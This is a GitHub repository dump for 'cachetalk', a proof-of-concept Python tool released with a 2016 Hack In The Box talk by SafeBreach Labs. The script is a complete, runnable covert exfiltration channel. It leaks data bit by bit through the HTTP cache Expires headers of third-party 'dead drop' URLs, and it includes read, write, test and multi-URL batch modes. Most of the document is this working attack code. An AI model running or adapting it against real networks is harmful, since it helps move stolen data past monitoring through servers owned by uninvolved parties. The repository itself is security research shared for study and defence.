├── .gitignore ├── LICENSE ├── README.md └── cachetalk.py /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | env/ 12 | build/ 13 | develop-eggs/ 14 | dist/ 15 | downloads/ 16 | eggs/ 17 | .eggs/ 18 | lib/ 19 | lib64/ 20 | parts/ 21 | sdist/ 22 | var/ 23 | *.egg-info/ 24 | .installed.cfg 25 | *.egg 26 | 27 | # PyInstaller 28 | # Usually these files are written by a python script from a template 29 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 30 | *.manifest 31 | *.spec 32 | 33 | # Installer logs 34 | pip-log.txt 35 | pip-delete-this-directory.txt 36 | 37 | # Unit test / coverage reports 38 | htmlcov/ 39 | .tox/ 40 | .coverage 41 | .coverage.* 42 | .cache 43 | nosetests.xml 44 | coverage.xml 45 | *,cover 46 | .hypothesis/ 47 | 48 | # Translations 49 | *.mo 50 | *.pot 51 | 52 | # Django stuff: 53 | *.log 54 | 55 | # Sphinx documentation 56 | docs/_build/ 57 | 58 | # PyBuilder 59 | target/ 60 | 61 | #Ipython Notebook 62 | .ipynb_checkpoints 63 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2016, SafeBreach 2 | All rights reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without 5 | modification, are permitted provided that the following conditions are met: 6 | 7 | * Redistributions of source code must retain the above copyright notice, this 8 | list of conditions and the following disclaimer. 9 | 10 | * Redistributions in binary form must reproduce the above copyright notice, 11 | this list of conditions and the following disclaimer in the documentation 12 | and/or other materials provided with the distribution. 13 | 14 | * Neither the name of cachetalk nor the names of its 15 | contributors may be used to endorse or promote products derived from 16 | this software without specific prior written permission. 17 | 18 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 19 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 20 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 21 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 22 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 23 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 24 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 25 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 26 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 27 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 28 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Cachetalk 2 | 3 | Cachetalk is a proof-of-concept program that is able to read and write arbitrary bits using HTTP server-side caching. 4 | 5 | It was released as part of the [In Plain Sight: The Perfect Exfiltration](https://conference.hitb.org/hitbsecconf2016ams/sessions/in-plain-sight-the-perfect-exfiltration/) talk given at Hack In The Box Amsterdam 2016 conference by Itzik Kotler and Amit Klein from [SafeBreach Labs](http://www.safebreach.com). 6 | 7 | Slides are availble [here](https://conference.hitb.org/hitbsecconf2016ams/materials/D2T1%20Itzik%20Kotler%20and%20Amit%20Klein%20-%20The%20Perfect%20Exfiltration%20Technique.pdf) and a Whitepaper is available [here](https://go.safebreach.com/rs/535-IXZ-934/images/Whitepaper_Perfect_Exfiltration.pdf) 8 | 9 | 10 | 11 | ### Version 12 | 0.1.0 13 | 14 | ### Installation 15 | 16 | Cachetalk requires [Python](https://python.org/) 2.7.x to run. 17 | 18 | ```sh 19 | $ git clone https://github.com/SafeBreach-Labs/cachetalk.git 20 | $ cd cachetalk 21 | $ python cachetalk.py -h 22 | ``` 23 | 24 | License 25 | ---- 26 | 27 | BSD 3-Clause 28 | -------------------------------------------------------------------------------- /cachetalk.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Copyright (c) 2016, SafeBreach 3 | # All rights reserved. 4 | # 5 | # Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 6 | # 7 | # 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 8 | # 9 | # 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 10 | # 11 | # 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. 12 | # 13 | # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 14 | 15 | import sys 16 | import urllib2 17 | import argparse 18 | import time 19 | import datetime 20 | import email.utils 21 | import binascii 22 | import csv 23 | import multiprocessing.pool 24 | 25 | #################### 26 | # Global Variables # 27 | #################### 28 | 29 | __version__ = "1.0" 30 | __author__ = "Itzik Kotler" 31 | __copyright__ = "Copyright 2016, SafeBreach" 32 | 33 | ############# 34 | # Functions # 35 | ############# 36 | 37 | def __wait_till_next_minute(): 38 | sleeptime = 60 - datetime.datetime.utcnow().second 39 | time.sleep(sleeptime) 40 | 41 | 42 | def __calc_delta(expires_field, date_field): 43 | now_date = datetime.datetime(*email.utils.parsedate(date_field)[:6]) 44 | expires_date = datetime.datetime(*email.utils.parsedate(expires_field)[:6]) 45 | return expires_date - now_date 46 | 47 | 48 | def __str2bits(string): 49 | bits = [] 50 | if string.startswith('0b'): 51 | bits = list(string[2:]) 52 | else: 53 | # Convert text to binary, use the str repr to convert to list, skip 2 bytes to jump over '0b' prefix 54 | bits = list(bin(int(binascii.hexlify(string), 16)))[2:] 55 | # We're using .pop() so it's reverse() the order of the list 56 | bits.reverse() 57 | return bits 58 | 59 | 60 | def main(args): 61 | parser = argparse.ArgumentParser(prog='cachetalk') 62 | parser.add_argument('url', metavar='URL', type=str, help='dead drop URL') 63 | parser.add_argument('poll_interval', metavar='SECONDS', nargs='?', type=int, 64 | help='polling intervals (i.e. the delta)') 65 | parser.add_argument('-s', '--always-sync', action='store_true', help='always start on the top of the minute') 66 | parser.add_argument('-f', '--force-start', action='store_true', help='start immediately without synchronizing') 67 | parser.add_argument('-v', '--verbose', action='store_true', help='verbose output') 68 | parser.add_argument('-q', '--quiet', action='store_true', help='less output') 69 | parser.add_argument('-1', '--try-once', action='store_true', help='try to write once and stop') 70 | group = parser.add_mutually_exclusive_group(required=True) 71 | group.add_argument('-w', '--write', nargs=1, type=str, metavar='DATA', help='connect to URL and write DATA') 72 | group.add_argument('-r', '--read', nargs=1, type=int, metavar='LEN', help='monitor URL and read LEN amount of bits') 73 | group.add_argument('-t', '--test', action='store_true', help='print HTTP Server Expires and calculate the delta') 74 | group.add_argument('-b', '--batch', nargs=2, type=str, metavar=('FILE.CSV', 'R|W'), help='In batch mode you can supply a file with a list of URLs, DELTAs, and 1/0\'s') 75 | args = parser.parse_args(args=args[1:]) 76 | 77 | if not args.url.startswith('http'): 78 | args.url = 'http://' + args.url 79 | 80 | if args.verbose: 81 | urllib2.install_opener(urllib2.build_opener(urllib2.HTTPHandler(debuglevel=1))) 82 | urllib2.install_opener(urllib2.build_opener(urllib2.HTTPSHandler(debuglevel=1))) 83 | 84 | req_headers = { 85 | 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36'} 86 | req = urllib2.Request(args.url, headers=req_headers) 87 | 88 | if args.batch: 89 | 90 | print "START BATCH MODE" 91 | 92 | pool = multiprocessing.pool.ThreadPool(processes=8) 93 | threads = [] 94 | batch_mode = args.batch[1].lower() 95 | results = [] 96 | with open(args.batch[0], 'r') as csvfile: 97 | csvreader = csv.reader(csvfile) 98 | for row in csvreader: 99 | batch_argv = [sys.argv[0], '-1', '-s'] 100 | if batch_mode == 'r': 101 | batch_argv.append('-r 1') 102 | else: 103 | batch_argv.append('-w0b' + row[2]) 104 | batch_argv.append(row[0]) 105 | batch_argv.append(row[1]) 106 | print "Calling Thread w/ %s" % (batch_argv[1:]) 107 | threads.append(pool.apply_async(main,(batch_argv,))) 108 | 109 | for result in threads: 110 | results.append(result.get()) 111 | 112 | # That's what happened when you commit code the night before the talk ;-) 113 | results = reduce(lambda x,y: x+y, map(lambda x: str(x), reduce(lambda x,y: x+y, results))) 114 | 115 | print "END OF BATCH MODE\n\n" 116 | print ">>> RESULT: %s <<<" % results 117 | 118 | elif args.test: 119 | # Test-mode 120 | try: 121 | http_response = urllib2.urlopen(req) 122 | http_response.read() 123 | print '\n' + args.url + ':' 124 | print "=" * (len(args.url) + 1) + '\n' 125 | print "Expires equal to: %s" % http_response.headers['Expires'] 126 | print "Date equal to: %s\n" % http_response.headers['Date'] 127 | # Every hit changes Expires? Can't use URL for cache talking ... 128 | if http_response.headers['Expires'] == http_response.headers['Date']: 129 | print "NOT GOOD!" 130 | else: 131 | print "MAYBE ... (DELTA equals %s)" % __calc_delta(http_response.headers['Expires'], 132 | http_response.headers['Date']) 133 | except TypeError: 134 | # expires_date = datetime.datetime(*email.utils.parsedate(expires_field)[:6]) 135 | # TypeError: 'NoneType' object has no attribute '__getitem__' 136 | print "`Expires' Value is Number and not a Date! Can't calculate delta ...\n" 137 | except KeyError: 138 | # Maybe it's not Expires? 139 | print "Can't find `Expires' Header in HTTP Response ...\n" 140 | except urllib2.HTTPError as e: 141 | # Connection error 142 | print "ERROR: %s for %s" % (str(e), args.url) 143 | else: 144 | # Write/Read Mode 145 | first_sync = args.force_start 146 | 147 | bits = [] 148 | if not args.read: 149 | bits = __str2bits(args.write[0]) 150 | if not args.quiet: 151 | print "--- INPUT (%s) ---" % args.write[0] 152 | print ''.join(bits) 153 | print "--- INPUT = %d BITS --" % (len(bits)) 154 | 155 | initial_poll_interval = args.poll_interval 156 | last_input_bit = -1 157 | last_poll_interval = -1 158 | after_fp = False 159 | sliding_delta = 0 160 | 161 | if args.read: 162 | if args.poll_interval < 11: 163 | sliding_delta = 1 164 | else: 165 | sliding_delta = 10 166 | args.poll_interval = args.poll_interval + sliding_delta 167 | 168 | while True: 169 | if not first_sync or args.always_sync: 170 | if not args.quiet: 171 | print "[%s]: Synchronizing ..." % time.asctime() 172 | __wait_till_next_minute() 173 | first_sync = True 174 | 175 | print "[%s]: Synchronized! Need to sleep another %d second(s) ..." % (time.asctime(), args.poll_interval) 176 | time.sleep(args.poll_interval) 177 | print "[%s]: Work time!" % time.asctime() 178 | 179 | observed_delta = None 180 | 181 | if args.read: 182 | # Read, append bit to bits array depends on the HTTP response 183 | input_bit = 0 184 | http_response = urllib2.urlopen(req) 185 | http_response.read() 186 | # Negative delta? (Minus sliding_delta, as read interval is always + sliding_delta to give the writer a buffer) 187 | observed_delta = __calc_delta(http_response.headers['Expires'], http_response.headers['Date']) 188 | if observed_delta.total_seconds() < args.poll_interval - sliding_delta: 189 | input_bit = 1 190 | print "(READING | R#: %d | E: %s | D: %s | D2: %s): BIT %d" % ( 191 | http_response.getcode(), http_response.headers['Expires'], http_response.headers['Date'], 192 | observed_delta.total_seconds(), input_bit) 193 | if last_input_bit == 0 and input_bit == 1 and last_poll_interval == observed_delta.total_seconds(): 194 | args.poll_interval = observed_delta.total_seconds() 195 | print "*** FALSE POSITIVE! (Ignored; Changed to 0)" 196 | bits.append(0) 197 | last_input_bit = 0 198 | after_fp = True 199 | else: 200 | args.poll_interval = observed_delta.total_seconds() + (sliding_delta + 1) 201 | if after_fp: 202 | # After False-positive and bit 1? Writer back online! 203 | if input_bit == 1: 204 | after_fp = False 205 | else: 206 | # After False-positive and bit 0? It's still False-positive ... Go back to original cycle! 207 | args.poll_interval = initial_poll_interval 208 | bits.append(input_bit) 209 | last_input_bit = input_bit 210 | last_poll_interval = args.poll_interval - (sliding_delta + 1) 211 | if len(bits) == args.read[0]: 212 | break 213 | else: 214 | # Write, pop bit form the bits array 215 | try: 216 | output_bit = bits.pop() 217 | if output_bit == '0': 218 | print "(WRITING | R#: =OFFLINE= | E: =OFFLINE= | D: =OFFLINE=): BIT 0" 219 | if len(bits) == 0: 220 | break 221 | continue 222 | while True: 223 | http_response = urllib2.urlopen(req) 224 | http_response.read() 225 | observed_delta = __calc_delta(http_response.headers['Expires'], http_response.headers['Date']) 226 | print "(WRITING | R#: %d | E: %s | D: %s | D2: %s): BIT 1" % ( 227 | http_response.getcode(), http_response.headers['Expires'], http_response.headers['Date'], 228 | observed_delta.total_seconds()) 229 | if observed_delta.total_seconds() != args.poll_interval and not args.try_once: 230 | print "*** RETRY!" 231 | retry_sleep = observed_delta.total_seconds() 232 | if retry_sleep == 0: 233 | retry_sleep = 1 234 | time.sleep(retry_sleep) 235 | continue 236 | # Do-while Writer is not aligned w/ Expires 237 | break 238 | if len(bits) == 0: 239 | break 240 | except IndexError: 241 | break 242 | 243 | if not args.quiet: 244 | print "!!! EOF !!!" 245 | 246 | if not bits: 247 | bits = __str2bits(args.write[0]) 248 | 249 | if not args.quiet: 250 | print "--- OUTPUT ---" 251 | print ''.join(map(str, bits)) 252 | print "--- OUTPUT = %d BITS --" % (len(bits)) 253 | print " " 254 | n = int(''.join(map(str, bits)), 2) 255 | try: 256 | print binascii.unhexlify('%x' % n) 257 | except TypeError: 258 | # TypeError: Odd-length string if n = 0 or 1 259 | if len(bits) == 1: 260 | pass 261 | else: 262 | raise 263 | 264 | return bits 265 | 266 | ############### 267 | # Entry Point # 268 | ############### 269 | 270 | if __name__ == "__main__": 271 | sys.exit(main(sys.argv)) 272 | --------------------------------------------------------------------------------